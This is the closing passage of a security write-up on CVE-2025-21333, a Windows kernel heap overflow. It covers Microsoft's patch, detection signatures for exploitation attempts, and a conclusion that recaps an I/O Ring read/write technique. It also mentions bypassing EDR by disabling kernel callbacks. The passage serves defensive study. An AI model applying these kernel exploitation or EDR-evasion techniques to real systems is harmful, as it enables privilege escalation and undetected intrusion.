<strong>PDB symbol server</strong>.</p><h3>Patch Analysis</h3><p>The Microsoft’s patch introduces a check for the overflow before calling <em>ExAllocatePool2()</em>, as outlined below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vNL7m7u-GKjfHYrqVJl4Tw.png" /><figcaption>9. Vulnerable function before and after patch</figcaption></figure><h3>Detection</h3><p>I suggest <strong>monitoring calls to <em>NtCreateCrossVmEvent()</em> and <em>NtCreateCrossVmMutant()</em></strong>. If the call specifies a non-NULL <em>OBJECT_ATTRIBUTES</em> structure containing a <em>SECURITY_DESCRIPTOR</em> with a <em>DACL</em> whose <strong><em>AclSize</em> is ≥ 0xffb0</strong>, this could be a strong indication of an exploitation attempt.</p><p>Other, more generic detections could involve noticing numerous calls to <em>CreatePipe()</em>, <em>CreateIoRing()</em>, or <em>NtCreateWnfStateName()</em> / <em>NtUpdateWnfStateData()</em>. This suggests that the suspicious process is trying to spray a large number of objects.</p><p>A generic detection method employed by EDRs is to observe if the <em>TOKEN</em> address of a process changes from an unprivileged user to <em>SYSTEM</em>. While this detection is effective for identifying PoC exploits like the one described, it may be<strong> unreliable when detecting more sophisticated threat actors</strong>. An attacker with <strong>arbitrary read/write primitives</strong> in kernel space could <strong>bypass EDR detection by disabling all callbacks registered by EDR drivers in the kernel</strong>. These techniques are well documented in the <a href="https://github.com/wavestone-cdt/EDRSandblast"><em>EDRSandblast </em>project</a>.</p><h3>Conclusion</h3><p>The article first analyzed the vulnerability and explained how to exploit it in a Windows 11 23H2 environment, using a<strong> variant of the I/O Ring technique to achieve arbitrary read/write in kernel space</strong>.</p><p>It discussed the limitations of the proof of concept (PoC) and proposed improvements. The article then reviewed the patch applied by Microsoft to address the issue.</p><p>Finally, it suggested strategies for detecting (and potentially preventing) exploitation attempts of the vulnerability.</p><h3>References</h3><ul><li><a href="https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf">https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf</a></li><li><a href="https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/">https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/</a></li><li><a href="https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/">https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/</a></li><li><a href="https://medium.com/yarden-shafir/yes-more-callbacks-the-kernel-extension-mechanism-c7300119a37a">https://medium.com/yarden-shafir/yes-more-callbacks-the-kernel-extension-mechanism-c7300119a37a</a></li></ul><h3>Acknowledgments</h3><ul><li><a href="https://x.com/onlytheduck">@cbayet</a></li><li><a href="https://x.com/paulfariello">@paulfariello</a></li><li><a href="https://x.com/alexjplaskett">@alexjplaskett</a></li><li><a href="https://x.com/yarden_shafir">@yarden_shafir</a></li></ul><h3>Contacts</h3><p>If you have any questions, feel free to reach out at:</p><ul><li><a href="https://x.com/MrAle_98">X</a></li><li><a href="https://www.linkedin.com/in/alessandro-iandoli-86a19b211/">Linkedin</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d1b597ae4bae" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/cve-2025-21333-windows-heap-based-buffer-overflow-analysis-d1b597ae4bae">CVE-2025–21333 Windows heap-based buffer overflow analysis</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>